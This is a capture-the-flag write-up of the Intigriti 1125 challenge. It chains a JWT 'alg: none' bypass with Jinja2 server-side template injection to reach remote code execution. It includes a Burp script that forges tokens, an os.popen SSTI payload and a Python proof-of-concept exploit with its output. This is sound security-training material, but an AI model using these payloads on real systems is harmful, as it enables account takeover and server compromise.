Writeup for the Intigriti 1125 Challenge
The site presents itself as an e-commerce portal called “AquaCommerce! – Your Aquarium Shop”. On loading the /browse path you land on what appears to be the homepage of a standard online store selling fish, tanks and aquarium accessories. The navigation menu holds links for Home, Shop, Cart, Login and Sign Up.
I created a user by signing up, and then landed at the /dashboard page, showing my profile, order history and a link to continue shopping.
After having investigated the site for a while, I ended up focusing on the JWT cookie named "token" that I got after registration/login. It looked similar to this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9.WkXWGKv0fqPCa1V5Yb1SJkkuyePqcKZB591mQiYJhdU
The base64-url-encoded, period-separated parts of the JWT are:
- header,
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
- decoded:
{"alg":"HS256","typ":"JWT"}
- payload,
eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9
- decoded:
{"user_id":15,"username":"boff","role":"user","exp":1764093694}
- signature,
WkXWGKv0fqPCa1V5Yb1SJkkuyePqcKZB591mQiYJhdU
- decoded:
<garbage>- since it's just a signature of the header + payload
This reveals that the algorithm used for signing is HS256, a symmetric keyed hashing algorithm that uses a secret key.
Also, the payload has some interesting claims that can be good candidates for manipulation (user_id, username, role).
Perhaps the simplest JWT attack to try, is "missing signature validation", where the backend doesn't really validate the third part in the JWT - the signature - that works as a receipt that the JWT isn't manipulated.
I tried this in Burp, and tried to just change the JWT payload to "role":"admin" instead of "role":"user", and sent the request in the repeater, without modifying the signature part. That did not work - I got a HTTP 302 response redirecting to the /login page, so it looks like the signature is validated.
Another common JWT attack is "algorithm confusion", but that's not really applicable for HS256, but rather when RS256 is used.
Next up is the "none algorithm", where the attacker changes the alg in the JWT to none, to see if the authorization can be bypassed by fooling the backend to use no algorithm to validate the signature, or rather - there is no signature. I decided to try this approach.
Again in Burp repeater, I changed the JWT value to:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9.
..so now the parts are:
- header,
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
- decoded:
{"alg":"none","typ":"JWT"}
- payload,
eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJib2ZmIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQwOTM2OTR9
- decoded:
{"user_id":15,"username":"boff","role":"user","exp":1764093694}
- signature, nothing since it's the
nonealgorithm specified.
..and sending the request again for /dashboard, it worked! I got the same response back as with the original JWT, with my username etc in there. So this indicates that the webapp is vulnerable for the "algorithm none" JWT attack.
So the next thing I tried, was to also modify the payload part, and set "role" to "admin" again - and this had effect too ! The /dashboard now returned a Admin Panel button - sweet!
I wanted to try setting something up in Burp Suite for this, automating the transformation of the original JWT to a "none-algo, admin" one. I ended up creating a rather ambitious Bambda match and replace script:
var cookieValue = requestResponse.request().headerValue("Cookie");
if (cookieValue == null) {
// No cookies
return requestResponse.request();
}
record MatchReplace(String match, String replace) {}
// Name of JWT cookie
final String cookieName = "token";
try {
// Parse the cookies to a key->value map, preserving the order
Map<String, String> cookies = Arrays.stream(cookieValue.split(";"))
.map(String::trim)
.map(s -> s.split("=", 2))
.collect(Collectors.toMap(
arr -> arr[0],
arr -> arr.length > 1 ? arr[1] : "",
(a, b) -> b,
LinkedHashMap::new
));
if (!cookies.containsKey(cookieName)) {
// The JWT cookie was missing
return requestResponse.request();
}
// What to match/replace in the header section
final List<MatchReplace> headerReplacements = List.of(
new MatchReplace("HS256", "none"),
new MatchReplace("RS256", "none")
);
// What to match/replace in the payload section
final List<MatchReplace> payloadReplacements = List.of(
new MatchReplace("\"user\"", "\"admin\"")
);
// Split the JWT sections
var currentJwt = cookies.get(cookieName);
var jwtSections = currentJwt.split("\\.");
if (jwtSections.length != 3) {
// Only JWT with three sections supported
return requestResponse.request();
}
// Normal Base64 helper from Burp
var b64 = utilities().base64Utils();
// --- JWT Base64URL helper (encode/decode) ---
interface JwtCodec {
String decode(String jwtPart);
String encode(String json);
}
JwtCodec jwtCodec = new JwtCodec() {
@Override
public String decode(String jwtPart) {
// Convert Base64URL -> standard Base64
String base64 = jwtPart
.replace('-', '+')
.replace('_', '/');
// Add padding if missing
int padding = (4 - (base64.length() % 4)) % 4;
if (padding > 0) {
base64 = base64 + "====".substring(0, padding);
}
// Decode using Burp's Base64
byte[] bytes = b64.decode(base64);
return new String(bytes, java.nio.charset.StandardCharsets.UTF_8);
}
@Override
public String encode(String json) {
// Encode to standard Base64 using Burp
String base64 = b64.encodeToString(json);
// Strip padding '=' characters
int padIndex = base64.indexOf('=');
if (padIndex != -1) {
base64 = base64.substring(0, padIndex);
}
// Convert standard Base64 -> Base64URL
return base64
.replace('+', '-')
.replace('/', '_');
}
};
// --- end JWT helper ---
// Base64URL-decode the JWT header and payload, and run
// the matching and replacing on them
String decodedHeader = jwtCodec.decode(jwtSections[0]);
for (MatchReplace mr : headerReplacements) {
decodedHeader = decodedHeader.replace(mr.match(), mr.replace());
}
String decodedPayload = jwtCodec.decode(jwtSections[1]);
for (MatchReplace mr : payloadReplacements) {
decodedPayload = decodedPayload.replace(mr.match(), mr.replace());
}
// Update the cookies map with the new JWT, skip the signature
cookies.put(cookieName, String.join(".",
jwtCodec.encode(decodedHeader),
jwtCodec.encode(decodedPayload),
""
));
// Create updated cookie header value
String newCookie = cookies.entrySet().stream()
.map(e -> e.getKey() + "=" + e.getValue())
.collect(Collectors.joining("; "));
// Return HTTP request with the updated cookie
return requestResponse.request().withUpdatedHeader("Cookie", newCookie);
}
catch (Exception cause) {
logging().logToError("Failed to parse JWT cookie: " + cookieValue, cause);
return requestResponse.request();
}In Burp Suite, this code can be inserted in Proxy -> Match and replace -> Add -> Script mode as a request script. It can be tested against an original request to see that it works. It basically does the same as I did manually in the repeater:
- Gets the cookie named "token", and checks that it looks like a three-part JWT
- Decodes the header and payload parts
- Modifies the header and payload to change
HS256tonone, and"user"to"admin"(this is somewhat configurable in the code) - Encodes the modified parts, omitting the signature
- Set the new JWT cookie
So, with this enabled, I could login as a normal user, and then Burp auto-adjusted the JWT on the fly so that I navigated the site as an admin. Pretty cool :-)
With my new found admin powers, I could reach the Admin Panel part. That page showed some various AquaCommerce statistics, and a "My Profile" button. The "My Profile" button opened a page there I could update the display name of myself (my-admin-self).
When submitting a new display name, the page was reloaded and the new name was reflected on the page. Thinking that this might be vulnerable for some kind of injection, I tried some payloads to submit for the display name, and noticed that {{ 7*7 }} resulted in the name being presented as 49. This means it's vulnerable to SSTI!
The comprehensive Template Injection Table can be used for determining the type of template engine being used, or the image at PayloadAllTheThings as a light-weight alternative.
I figured out it was Python and Jinja2, and the following payload worked for executing a command (RCE!):
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}(I got that payload from HackTricks).
Cool! So, I experimented with that a bit, running pwd, ls -al, cat app.py etc to explore the backend file system a bit. It was a bit cumbersome to browse the source code, since it was reflected as/in HTML and the line breaks got lost on the way. To get around that, I piped the RCE command output to base64, so I got a blob of base64 encoded data that I could decode in e.g. CyberChef to get the source code retain the original formatting.
In the end, I ended up writing a Python script as the final POC to get the flag. Having examined the webapps source code, I saw that there was an admin user with user_id 1 created, so I created the JWT based on this information, that way I didn't even need to register my own user.
This is the POC script that I created, it needs the python requests module (pip install requests) to work:
import base64
import json
import logging
import re
import requests
import time
import urllib3
USER_AGENT='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
# Base64 decodes value, add missing padding if needed
def b64url_decode(str_data: str) -> str:
padding = '=' * (-len(str_data) % 4)
str_data += padding
data = str_data.encode()
return base64.urlsafe_b64decode(data).decode()
# Base64 encodes value, remove padding if any
def b64url_encode(str_data: str) -> str:
data = str_data.encode()
return base64.urlsafe_b64encode(data).decode().rstrip('=')
def main():
logging.basicConfig(level=logging.DEBUG)
logging.getLogger("urllib3").setLevel(logging.ERROR)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
logger = logging.getLogger('int1125')
with requests.Session() as session:
# Set user agent and cache control headers
session.headers.update({
'User-Agent': USER_AGENT,
'Cache-Control': 'max-age=0',
})
# Construct JWT for admin user with alg=none
jwt_header = {
"typ": "JWT",
"alg": "none"
}
jwt_payload = {
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": int(time.time()) + 3600
}
jwt_token = f"{b64url_encode(json.dumps(jwt_header))}.{b64url_encode(json.dumps(jwt_payload))}."
logger.debug(f'Constructed JWT token: {jwt_token}')
logger.debug('Updating admin display name with trixy SSTI RCE payload')
# Inject command to search for a flag in files
response = session.post(
'https://challenge-1125.intigriti.io/admin/profile',
cookies={'token': jwt_token},
data={'display_name': "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -RHoP \"INTIGRITI\\{[A-Za-z0-9_-]+\\}\" . | base64').read() }}"}
)
assert response.status_code == 200, f'Failed to post update to admin profile, status code: {response.status_code}'
assert '<p class="text-slate-100 font-medium">' in response.text, 'Unexpected response after updating display name'
logger.debug('Extracting flag from response')
b64_data = re.search(r'<p class="text-slate-100 font-medium">(.+?)</p>', response.text, re.MULTILINE | re.DOTALL).group(1)
assert len(b64_data) > 0, 'Failed to get base64 output from injected command'
decoded_data = base64.b64decode(b64_data).decode()
lines = decoded_data.strip().split('\n')
flag = ''
for line in lines:
filename, flag = line.split(':', 1)
if flag:
logger.info(f'FOUND FLAG in file {filename}: {flag} ')
break
assert flag, 'Failed to find the flag :-('
if __name__ == '__main__':
main()The script creates the JWT, submits the following payload to as the admin display name
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -RHoP "INTIGRITI\{[A-Za-z0-9_-]+\}" . | base64').read() }}..that is, it runs a recursive grep to find the flag in all files, and printing <filename>:<match> in the results.
This is base64-decoded, and the script parses the HTML response to extract and decode this base64-data, parse the filename and match (flag value), and output it to the terminal.
Output of the POC script:
DEBUG:int1125:Constructed JWT token: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogMTc2NDAxODM5Mn0.
DEBUG:int1125:Updating admin display name with trixy SSTI RCE payload
DEBUG:int1125:Extracting flag from response
INFO:int1125:FOUND FLAG in file ./.aquacommerce/019a82cf.txt: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}So, the flag was hidden in a ./.aquacommerce/019a82cf.txt file and the value was INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}.
Thanks for a fun challenge!